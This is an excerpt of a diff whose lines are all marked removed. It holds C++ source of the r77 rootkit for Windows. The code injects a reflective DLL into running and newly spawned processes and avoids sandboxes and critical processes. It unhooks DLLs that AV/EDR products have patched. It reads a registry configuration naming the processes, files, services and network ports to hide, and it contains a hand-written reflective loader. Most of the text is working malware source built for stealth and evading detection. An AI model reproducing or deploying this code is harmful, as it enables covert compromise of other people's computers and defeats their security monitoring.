- // Do not inject critical processes (smss, csrss, wininit, etc.).
- ULONG breakOnTermination;
- if (NT_SUCCESS(NtQueryInformationProcess(process, PROCESSINFOCLASS::ProcessBreakOnTermination, &breakOnTermination, sizeof(ULONG), NULL)) && !breakOnTermination)
- {
- // Sandboxes tend to crash when injecting shellcode. Only inject medium IL and above.
- DWORD integrityLevel;
- if (GetProcessIntegrityLevel(process, &integrityLevel) && integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID)
- {
- // Get function pointer to the shellcode that loads the DLL reflectively.
- DWORD entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain");
- if (entryPoint)
- {
- LPBYTE allocatedMemory = (LPBYTE)VirtualAllocEx(process, NULL, dllSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (allocatedMemory)
- {
- if (WriteProcessMemory(process, allocatedMemory, dll, dllSize, NULL))
- {
- HANDLE thread = NULL;
- if (NT_SUCCESS(nt::NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread)
- {
- if (fast)
- {
- // Fast mode is for bulk operations, where the return value of this function is ignored.
- // The return value of DllMain is not checked. This function just returns TRUE, if NtCreateThreadEx succeeded.
- result = TRUE;
- }
- else if (WaitForSingleObject(thread, 100) == WAIT_OBJECT_0)
- {
- // Return TRUE, only if DllMain returned TRUE.
- // DllMain returns FALSE, for example, if r77 is already injected.
- DWORD exitCode;
- if (GetExitCodeThread(thread, &exitCode))
- {
- result = exitCode != 0;
- }
- }
-
- CloseHandle(thread);
- }
- }
- }
- }
- }
- }
- }
-
- CloseHandle(process);
- }
- }
-
- return result;
-}
-DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName)
-{
- BOOL is64Bit;
- if (IsExecutable64Bit(image, &is64Bit) && is64Bit == (sizeof(LPVOID) == 8))
- {
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
- PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
- LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames));
- LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals));
-
- for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++)
- {
- if (strstr((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName))
- {
- return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD)));
- }
-
- nameDirectory++;
- nameOrdinalDirectory++;
- }
- }
-
- return 0;
-}
-DWORD RvaToOffset(LPBYTE image, DWORD rva)
-{
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
- PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader);
-
- if (rva < sections[0].PointerToRawData)
- {
- return rva;
- }
- else
- {
- for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
- {
- if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData)
- {
- return rva - sections[i].VirtualAddress + sections[i].PointerToRawData;
- }
- }
-
- return 0;
- }
-}
-VOID UnhookDll(LPCWSTR name)
-{
- if (name)
- {
- WCHAR path[MAX_PATH + 1];
- if (Is64BitOperatingSystem() && sizeof(LPVOID) == 4) lstrcpyW(path, L"C:\\Windows\\SysWOW64\\");
- else lstrcpyW(path, L"C:\\Windows\\System32\\");
-
- lstrcatW(path, name);
-
- // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions.
- HMODULE dll = GetModuleHandleW(name);
- if (dll)
- {
- MODULEINFO moduleInfo = { };
- if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO)))
- {
- // Retrieve a clean copy of the DLL file.
- HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
- if (dllFile != INVALID_HANDLE_VALUE)
- {
- // Map the clean DLL into memory
- HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
- if (dllMapping)
- {
- LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0);
- if (dllMappedFile)
- {
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew);
-
- for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
- {
- PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER));
-
- // Find the .text section of the hooked DLL and overwrite it with the original DLL section
- if (!lstrcmpiA((LPCSTR)sectionHeader->Name, ".text"))
- {
- LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress);
- DWORD virtualSize = sectionHeader->Misc.VirtualSize;
-
- DWORD oldProtect;
- VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
- RtlCopyMemory(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize);
- VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect);
-
- break;
- }
- }
- }
-
- CloseHandle(dllMapping);
- }
-
- CloseHandle(dllFile);
- }
- }
-
- FreeLibrary(dll);
- }
- }
-}
-BOOL IsProcessExcluded(DWORD processId)
-{
- WCHAR processName[MAX_PATH + 1];
- if (GetProcessFileName(processId, FALSE, processName, MAX_PATH))
- {
- LPCWSTR exclusions[] = PROCESS_EXCLUSIONS;
- for (int i = 0; i < sizeof(exclusions) / sizeof(LPCWSTR); i++)
- {
- if (!lstrcmpiW(processName, exclusions[i]))
- {
- return TRUE;
- }
- }
- }
-
- return FALSE;
-}
-
-PINTEGER_LIST CreateIntegerList()
-{
- PINTEGER_LIST list = new INTEGER_LIST();
- list->Count = 0;
- list->Capacity = 16;
- list->Values = new ULONG[list->Capacity];
- return list;
-}
-VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key)
-{
- DWORD count;
- if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
- {
- WCHAR valueName[100];
-
- for (DWORD i = 0; i < count; i++)
- {
- DWORD valueNameLength = 100;
- DWORD type;
- DWORD value;
- DWORD valueSize = sizeof(DWORD);
-
- if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)&value, &valueSize) == ERROR_SUCCESS && type == REG_DWORD && !IntegerListContains(list, value))
- {
- IntegerListAdd(list, value);
- }
- }
- }
-}
-VOID DeleteIntegerList(PINTEGER_LIST list)
-{
- delete[] list->Values;
- ZeroMemory(list, sizeof(INTEGER_LIST));
- delete list;
-}
-VOID IntegerListAdd(PINTEGER_LIST list, ULONG value)
-{
- if (list->Count == list->Capacity)
- {
- list->Capacity += 16;
- PULONG newValues = new ULONG[list->Capacity];
- RtlCopyMemory(newValues, list->Values, list->Count * sizeof(ULONG));
-
- PULONG oldValues = list->Values;
- list->Values = newValues;
- delete[] oldValues;
- }
-
- list->Values[list->Count++] = value;
-}
-BOOL IntegerListContains(PINTEGER_LIST list, ULONG value)
-{
- for (DWORD i = 0; i < list->Count; i++)
- {
- if (list->Values[i] == value) return TRUE;
- }
-
- return FALSE;
-}
-BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB)
-{
- if (listA == listB)
- {
- return TRUE;
- }
- else if (listA == NULL || listB == NULL)
- {
- return FALSE;
- }
- else if (listA->Count != listB->Count)
- {
- return FALSE;
- }
- else
- {
- for (ULONG i = 0; i < listA->Count; i++)
- {
- if (listA->Values[i] != listB->Values[i]) return FALSE;
- }
-
- return TRUE;
- }
-}
-
-PSTRING_LIST CreateStringList(BOOL ignoreCase)
-{
- PSTRING_LIST list = new STRING_LIST();
- list->Count = 0;
- list->Capacity = 16;
- list->IgnoreCase = ignoreCase;
- list->Values = new LPWSTR[list->Capacity];
- return list;
-}
-VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength)
-{
- DWORD count;
- if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
- {
- WCHAR valueName[100];
- PWCHAR value = new WCHAR[maxStringLength + 1];
-
- for (DWORD i = 0; i < count; i++)
- {
- DWORD valueNameLength = 100;
- DWORD type;
- DWORD valueSize = maxStringLength;
-
- if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)value, &valueSize) == ERROR_SUCCESS && type == REG_SZ && !StringListContains(list, value))
- {
- StringListAdd(list, value);
- }
- }
-
- delete[] value;
- }
-}
-VOID DeleteStringList(PSTRING_LIST list)
-{
- for (ULONG i = 0; i < list->Count; i++)
- {
- delete[] list->Values[i];
- }
-
- delete[] list->Values;
- ZeroMemory(list, sizeof(STRING_LIST));
- delete list;
-}
-VOID StringListAdd(PSTRING_LIST list, LPCWSTR value)
-{
- if (value)
- {
- if (list->Count == list->Capacity)
- {
- list->Capacity += 16;
- LPWSTR *newValues = new LPWSTR[list->Capacity];
- RtlCopyMemory(newValues, list->Values, list->Count * sizeof(LPWSTR));
-
- LPWSTR *oldValues = list->Values;
- list->Values = newValues;
- delete[] oldValues;
- }
-
- list->Values[list->Count] = new WCHAR[lstrlenW(value) + 1];
- lstrcpyW(list->Values[list->Count++], value);
- }
-}
-BOOL StringListContains(PSTRING_LIST list, LPCWSTR value)
-{
- if (value)
- {
- for (DWORD i = 0; i < list->Count; i++)
- {
- if (list->IgnoreCase ? !lstrcmpiW(list->Values[i], value) : !lstrcmpW(list->Values[i], value)) return TRUE;
- }
- }
-
- return FALSE;
-}
-BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB)
-{
- if (listA == listB)
- {
- return TRUE;
- }
- else if (listA == NULL || listB == NULL)
- {
- return FALSE;
- }
- else if (listA->Count != listB->Count)
- {
- return FALSE;
- }
- else
- {
- for (ULONG i = 0; i < listA->Count; i++)
- {
- if (listA->IgnoreCase && listB->IgnoreCase ? lstrcmpiW(listA->Values[i], listB->Values[i]) : lstrcmpW(listA->Values[i], listB->Values[i])) return FALSE;
- }
-
- return TRUE;
- }
-}
-
-BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count)
-{
- BOOL result = TRUE;
- DWORD actualCount = 0;
-
- LPDWORD processes = new DWORD[10000];
- DWORD processCount = 0;
- HMODULE *modules = new HMODULE[10000];
- DWORD moduleCount = 0;
- BYTE moduleBytes[512];
-
- if (EnumProcesses(processes, 10000 * sizeof(DWORD), &processCount))
- {
- processCount /= sizeof(DWORD);
-
- for (DWORD i = 0; i < processCount; i++)
- {
- HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[i]);
- if (process)
- {
- if (EnumProcessModules(process, modules, 10000 * sizeof(HMODULE), &moduleCount))
- {
- moduleCount /= sizeof(HMODULE);
-
- for (DWORD j = 0; j < moduleCount; j++)
- {
- if (ReadProcessMemory(process, (LPBYTE)modules[j], moduleBytes, 512, NULL))
- {
- WORD signature = *(LPWORD)&moduleBytes[sizeof(IMAGE_DOS_HEADER)];
- if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE)
- {
- if (actualCount < *count)
- {
- r77Processes[actualCount].ProcessId = processes[i];
- r77Processes[actualCount].Signature = signature;
- r77Processes[actualCount++].DetachAddress = signature == R77_SIGNATURE ? *(DWORD64*)&moduleBytes[sizeof(IMAGE_DOS_HEADER) + 2] : 0;
- }
- else
- {
- result = FALSE;
- }
-
- break;
- }
- }
- }
- }
-
- CloseHandle(process);
- }
- }
- }
-
- delete[] processes;
- delete[] modules;
-
- *count = actualCount;
- return result;
-}
-BOOL DetachInjectedProcess(const R77_PROCESS &r77Process)
-{
- BOOL result = FALSE;
-
- if (r77Process.Signature == R77_SIGNATURE)
- {
- HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Process.ProcessId);
- if (process)
- {
- // R77_PROCESS.DetachAddress is a function pointer to Rootkit::Detach
- HANDLE thread = NULL;
- if (NT_SUCCESS(nt::NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process.DetachAddress, NULL, 0, 0, 0, 0, NULL)) && thread)
- {
- result = TRUE;
- CloseHandle(thread);
- }
-
- CloseHandle(process);
- }
- }
-
- return result;
-}
-BOOL DetachInjectedProcess(DWORD processId)
-{
- BOOL result = FALSE;
- PR77_PROCESS r77Processes = new R77_PROCESS[1000];
- DWORD r77ProcessCount = 1000;
-
- if (GetR77Processes(r77Processes, &r77ProcessCount))
- {
- for (DWORD i = 0; i < r77ProcessCount; i++)
- {
- if (r77Processes[i].Signature == R77_SIGNATURE && r77Processes[i].ProcessId == processId)
- {
- result = DetachInjectedProcess(r77Processes[i]);
- break;
- }
- }
- }
-
- delete[] r77Processes;
- return result;
-}
-VOID DetachAllInjectedProcesses()
-{
- PR77_PROCESS r77Processes = new R77_PROCESS[1000];
- DWORD r77ProcessCount = 1000;
-
- if (GetR77Processes(r77Processes, &r77ProcessCount))
- {
- for (DWORD i = 0; i < r77ProcessCount; i++)
- {
- if (r77Processes[i].Signature == R77_SIGNATURE)
- {
- DetachInjectedProcess(r77Processes[i]);
- }
- }
- }
-
- delete[] r77Processes;
-}
-VOID TerminateR77Service(DWORD excludedProcessId)
-{
- PR77_PROCESS r77Processes = new R77_PROCESS[1000];
- DWORD r77ProcessCount = 1000;
- if (GetR77Processes(r77Processes, &r77ProcessCount))
- {
- for (DWORD i = 0; i < r77ProcessCount; i++)
- {
- if (r77Processes[i].Signature == R77_SERVICE_SIGNATURE && r77Processes[i].ProcessId != excludedProcessId)
- {
- HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, r77Processes[i].ProcessId);
- if (process)
- {
- TerminateProcess(process, 0);
- CloseHandle(process);
- }
- }
- }
- }
-
- delete[] r77Processes;
-}
-
-PR77_CONFIG LoadR77Config()
-{
- PR77_CONFIG config = new R77_CONFIG();
- config->StartupFiles = CreateStringList(TRUE);
- config->HiddenProcessIds = CreateIntegerList();
- config->HiddenProcessNames = CreateStringList(TRUE);
- config->HiddenPaths = CreateStringList(TRUE);
- config->HiddenServiceNames = CreateStringList(TRUE);
- config->HiddenTcpLocalPorts = CreateIntegerList();
- config->HiddenTcpRemotePorts = CreateIntegerList();
- config->HiddenUdpPorts = CreateIntegerList();
-
- // Load configuration from HKEY_LOCAL_MACHINE\SOFTWARE\$77config
- HKEY key;
- if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_READ | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS)
- {
- // Read startup files "startup" subkey.
- HKEY startupKey;
- if (RegOpenKeyExW(key, L"startup", 0, KEY_READ, &startupKey) == ERROR_SUCCESS)
- {
- LoadStringListFromRegistryKey(config->StartupFiles, startupKey, MAX_PATH);
- RegCloseKey(startupKey);
- }
-
- // Read process ID's from the "pid" subkey.
- HKEY pidKey;
- if (RegOpenKeyExW(key, L"pid", 0, KEY_READ, &pidKey) == ERROR_SUCCESS)
- {
- LoadIntegerListFromRegistryKey(config->HiddenProcessIds, pidKey);
- RegCloseKey(pidKey);
- }
-
- // Read process names from the "process_names" subkey.
- HKEY processNameKey;
- if (RegOpenKeyExW(key, L"process_names", 0, KEY_READ, &processNameKey) == ERROR_SUCCESS)
- {
- LoadStringListFromRegistryKey(config->HiddenProcessNames, processNameKey, MAX_PATH);
- RegCloseKey(processNameKey);
- }
-
- // Read paths from the "paths" subkey.
- HKEY pathKey;
- if (RegOpenKeyExW(key, L"paths", 0, KEY_READ, &pathKey) == ERROR_SUCCESS)
- {
- LoadStringListFromRegistryKey(config->HiddenPaths, pathKey, MAX_PATH);
- RegCloseKey(pathKey);
- }
-
- // Read service names from the "service_names" subkey.
- HKEY serviceNameKey;
- if (RegOpenKeyExW(key, L"service_names", 0, KEY_READ, &serviceNameKey) == ERROR_SUCCESS)
- {
- LoadStringListFromRegistryKey(config->HiddenServiceNames, serviceNameKey, MAX_PATH);
- RegCloseKey(serviceNameKey);
- }
-
- // Read local TCP ports from the "tcp_local" subkey.
- HKEY tcpLocalKey;
- if (RegOpenKeyExW(key, L"tcp_local", 0, KEY_READ, &tcpLocalKey) == ERROR_SUCCESS)
- {
- LoadIntegerListFromRegistryKey(config->HiddenTcpLocalPorts, tcpLocalKey);
- RegCloseKey(tcpLocalKey);
- }
-
- // Read remote TCP ports from the "tcp_remote" subkey.
- HKEY tcpRemoteKey;
- if (RegOpenKeyExW(key, L"tcp_remote", 0, KEY_READ, &tcpRemoteKey) == ERROR_SUCCESS)
- {
- LoadIntegerListFromRegistryKey(config->HiddenTcpRemotePorts, tcpRemoteKey);
- RegCloseKey(tcpRemoteKey);
- }
-
- // Read UDP ports from the "udp" subkey.
- HKEY udpKey;
- if (RegOpenKeyExW(key, L"udp", 0, KEY_READ, &udpKey) == ERROR_SUCCESS)
- {
- LoadIntegerListFromRegistryKey(config->HiddenUdpPorts, udpKey);
- RegCloseKey(udpKey);
- }
-
- RegCloseKey(key);
- }
-
- return config;
-}
-VOID DeleteR77Config(PR77_CONFIG config)
-{
- DeleteStringList(config->StartupFiles);
- DeleteIntegerList(config->HiddenProcessIds);
- DeleteStringList(config->HiddenProcessNames);
- DeleteStringList(config->HiddenPaths);
- DeleteStringList(config->HiddenServiceNames);
- DeleteIntegerList(config->HiddenTcpLocalPorts);
- DeleteIntegerList(config->HiddenTcpRemotePorts);
- DeleteIntegerList(config->HiddenUdpPorts);
- ZeroMemory(config, sizeof(R77_CONFIG));
- delete config;
-}
-BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB)
-{
- if (configA == configB)
- {
- return TRUE;
- }
- else if (configA == NULL || configB == NULL)
- {
- return FALSE;
- }
- else
- {
- return
- CompareStringList(configA->StartupFiles, configB->StartupFiles) &&
- CompareIntegerList(configA->HiddenProcessIds, configB->HiddenProcessIds) &&
- CompareStringList(configA->HiddenProcessNames, configB->HiddenProcessNames) &&
- CompareStringList(configA->HiddenPaths, configB->HiddenPaths) &&
- CompareStringList(configA->HiddenServiceNames, configB->HiddenServiceNames) &&
- CompareIntegerList(configA->HiddenTcpLocalPorts, configB->HiddenTcpLocalPorts) &&
- CompareIntegerList(configA->HiddenTcpRemotePorts, configB->HiddenTcpRemotePorts) &&
- CompareIntegerList(configA->HiddenUdpPorts, configB->HiddenUdpPorts);
- }
-}
-BOOL InstallR77Config(PHKEY key)
-{
- if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_64KEY, NULL, key, NULL) == ERROR_SUCCESS)
- {
- // Return TRUE, even if setting the DACL fails.
- // If DACL creation failed, only elevated processes will be able to write to the configuration system.
- PSECURITY_DESCRIPTOR securityDescriptor = NULL;
- ULONG securityDescriptorSize = 0;
- if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)", SDDL_REVISION_1, &securityDescriptor, &securityDescriptorSize))
- {
- RegSetKeySecurity(*key, DACL_SECURITY_INFORMATION, securityDescriptor);
- LocalFree(securityDescriptor);
- }
-
- return TRUE;
- }
-
- return FALSE;
-}
-VOID UninstallR77Config()
-{
- // Delete subkeys in HKEY_LOCAL_MACHINE\SOFTWARE\$77config
- HKEY key;
- if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS)
- {
- WCHAR subKeyName[1000];
- for (DWORD subKeyNameLength = 1000; RegEnumKeyExW(key, 0, subKeyName, &subKeyNameLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS; subKeyNameLength = 1000)
- {
- RegDeleteKeyW(key, subKeyName);
- }
-
- RegCloseKey(key);
- }
-
- // Delete HKEY_LOCAL_MACHINE\SOFTWARE\$77config
- RegDeleteKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", KEY_ALL_ACCESS | KEY_WOW64_64KEY, 0);
-}
-
-DWORD WINAPI ChildProcessListenerThread(LPVOID parameter)
-{
- while (true)
- {
- HANDLE pipe = CreatePublicNamedPipe(sizeof(LPVOID) == 4 ? CHILD_PROCESS_PIPE_NAME32 : CHILD_PROCESS_PIPE_NAME64);
- while (pipe != INVALID_HANDLE_VALUE)
- {
- if (ConnectNamedPipe(pipe, NULL))
- {
- DWORD processId;
- DWORD bytesRead;
- if (ReadFile(pipe, &processId, 4, &bytesRead, NULL))
- {
- // Invoke the callback. The callback should inject r77 into the process.
- ((PROCESSIDCALLBACK)parameter)(processId);
-
- // Notify the callee that the callback completed (r77 is injected) and NtResumeThread can be called.
- BYTE returnValue = 77;
- DWORD bytesWritten;
- WriteFile(pipe, &returnValue, sizeof(BYTE), &bytesWritten, NULL);
- }
- }
- else
- {
- Sleep(1);
- }
-
- DisconnectNamedPipe(pipe);
- }
-
- Sleep(1);
- }
-
- return 0;
-}
-VOID ChildProcessListener(PROCESSIDCALLBACK callback)
-{
- CreateThread(NULL, 0, ChildProcessListenerThread, callback, 0, NULL);
-}
-BOOL HookChildProcess(DWORD processId)
-{
- BOOL result = FALSE;
-
- BOOL is64Bit;
- if (Is64BitProcess(processId, &is64Bit))
- {
- // Call either the 32-bit or the 64-bit r77 service and pass the process ID.
- // Because a 32-bit process can create a 64-bit child process, or vice versa, injection cannot be performed in the same process.
-
- HANDLE pipe = CreateFileW(is64Bit ? CHILD_PROCESS_PIPE_NAME64 : CHILD_PROCESS_PIPE_NAME32, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
- if (pipe != INVALID_HANDLE_VALUE)
- {
- // Send the process ID to the r77 service.
- DWORD bytesWritten;
- WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL);
-
- // Wait for the response before returning. NtResumeThread should be called after r77 is injected.
- BYTE returnValue;
- DWORD bytesRead;
- result = ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL) && returnValue == 77;
-
- CloseHandle(pipe);
- }
- }
-
- return result;
-}
-
-DWORD WINAPI NewProcessListenerThread(LPVOID parameter)
-{
- PNEW_PROCESS_LISTENER notifier = (PNEW_PROCESS_LISTENER)parameter;
-
- LPDWORD currendProcesses = new DWORD[10000];
- LPDWORD previousProcesses = new DWORD[10000];
- DWORD currendProcessCount = 0;
- DWORD previousProcessCount = 0;
-
- while (true)
- {
- if (EnumProcesses(currendProcesses, sizeof(DWORD) * 10000, ¤dProcessCount))
- {
- currendProcessCount /= sizeof(DWORD);
-
- for (DWORD i = 0; i < currendProcessCount; i++)
- {
- // Compare the result of EnumProcesses with the previous list and invoke the callback for new processes.
- BOOL isNew = TRUE;
-
- for (DWORD j = 0; j < previousProcessCount; j++)
- {
- if (currendProcesses[i] == previousProcesses[j])
- {
- isNew = FALSE;
- break;
- }
- }
-
- if (isNew) notifier->Callback(currendProcesses[i]);
- }
-
- RtlCopyMemory(previousProcesses, currendProcesses, sizeof(DWORD) * 10000);
- previousProcessCount = currendProcessCount;
- }
-
- Sleep(notifier->Interval);
- }
-
- return 0;
-}
-PNEW_PROCESS_LISTENER NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback)
-{
- PNEW_PROCESS_LISTENER notifier = new NEW_PROCESS_LISTENER();
- notifier->Interval = interval;
- notifier->Callback = callback;
-
- CreateThread(NULL, 0, NewProcessListenerThread, notifier, 0, NULL);
- return notifier;
-}
-
-DWORD WINAPI ControlPipeListenerThread(LPVOID parameter)
-{
- while (true)
- {
- HANDLE pipe = CreatePublicNamedPipe(sizeof(LPVOID) == 4 ? CONTROL_PIPE_NAME : CONTROL_PIPE_REDIRECT64_NAME);
- while (pipe != INVALID_HANDLE_VALUE)
- {
- if (ConnectNamedPipe(pipe, NULL))
- {
- DWORD controlCode;
- DWORD bytesRead;
- if (ReadFile(pipe, &controlCode, 4, &bytesRead, NULL) && bytesRead == sizeof(DWORD))
- {
- ((CONTROLCALLBACK)parameter)(controlCode, pipe);
- }
- }
- else
- {
- Sleep(1);
- }
-
- DisconnectNamedPipe(pipe);
- }
-
- Sleep(1);
- }
-
- return 0;
-}
-VOID ControlPipeListener(CONTROLCALLBACK callback)
-{
- CreateThread(NULL, 0, ControlPipeListenerThread, callback, 0, NULL);
-}
-
-#ifdef EXPORT_REFLECTIVE_DLL_MAIN
-BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase)
-{
- // All functions that are used in the reflective loader must be found by searching the PEB.
- // Functions, such as memcpy need to be handwritten, because no functions are imported, yet.
- // Switch statements cannot be used, because a jump table would be created and the shellcode would not be position independent anymore.
-
- nt::NTFLUSHINSTRUCTIONCACHE ntFlushInstructionCache = (nt::NTFLUSHINSTRUCTIONCACHE)PebGetProcAddress(0x3cfa685d, 0x534c0ab8);
- nt::LOADLIBRARYA loadLibraryA = (nt::LOADLIBRARYA)PebGetProcAddress(0x6a4abc5b, 0xec0e4e8e);
- nt::GETPROCADDRESS getProcAddress = (nt::GETPROCADDRESS)PebGetProcAddress(0x6a4abc5b, 0x7c0dfcaa);
- nt::VIRTUALALLOC virtualAlloc = (nt::VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54);
-
- // Safety check: Continue only, if all functions were found.
- if (ntFlushInstructionCache && loadLibraryA && getProcAddress && virtualAlloc)
- {
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew);
-
- // Allocate memory for the DLL.
- LPBYTE allocatedMemory = (LPBYTE)virtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (allocatedMemory)
- {
- // Copy optional header to new memory.
- libc::memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders);
-
- // Copy sections to new memory.
- PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader);
- for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
- {
- libc::memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData);
- }
-
- // Read the import directory, call LoadLibraryA to import dependencies and patch the IAT.
- PIMAGE_DATA_DIRECTORY importDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
- if (importDirectory->Size)
- {
- for (PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(allocatedMemory + importDirectory->VirtualAddress); importDescriptor->Name; importDescriptor++)
- {
- LPBYTE module = (LPBYTE)loadLibraryA((LPCSTR)(allocatedMemory + importDescriptor->Name));
- if (module)
- {
- PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(allocatedMemory + importDescriptor->OriginalFirstThunk);
- PUINT_PTR importAddressTable = (PUINT_PTR)(allocatedMemory + importDescriptor->FirstThunk);
-
- while (*importAddressTable)
- {
- if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
- {
- PIMAGE_NT_HEADERS moduleNtHeaders = (PIMAGE_NT_HEADERS)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
- PIMAGE_EXPORT_DIRECTORY moduleExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(module + moduleNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
- *importAddressTable = (UINT_PTR)(module + *(LPDWORD)(module + moduleExportDirectory->AddressOfFunctions + (IMAGE_ORDINAL(thunk->u1.Ordinal) - moduleExportDirectory->Base) * sizeof(DWORD)));
- }
- else
- {
- importDirectory = (PIMAGE_DATA_DIRECTORY)(allocatedMemory + *importAddressTable);
- *importAddressTable = (UINT_PTR)getProcAddress((HMODULE)module, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)importDirectory)->Name);
- }
-
- thunk = (PIMAGE_THUNK_DATA)((LPBYTE)thunk + sizeof(UINT_PTR));
- importAddressTable = (PUINT_PTR)((LPBYTE)importAddressTable + sizeof(UINT_PTR));
- }
- }
- }
- }
-
- // Patch relocations.
- PIMAGE_DATA_DIRECTORY relocationDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
- if (relocationDirectory->Size)
- {
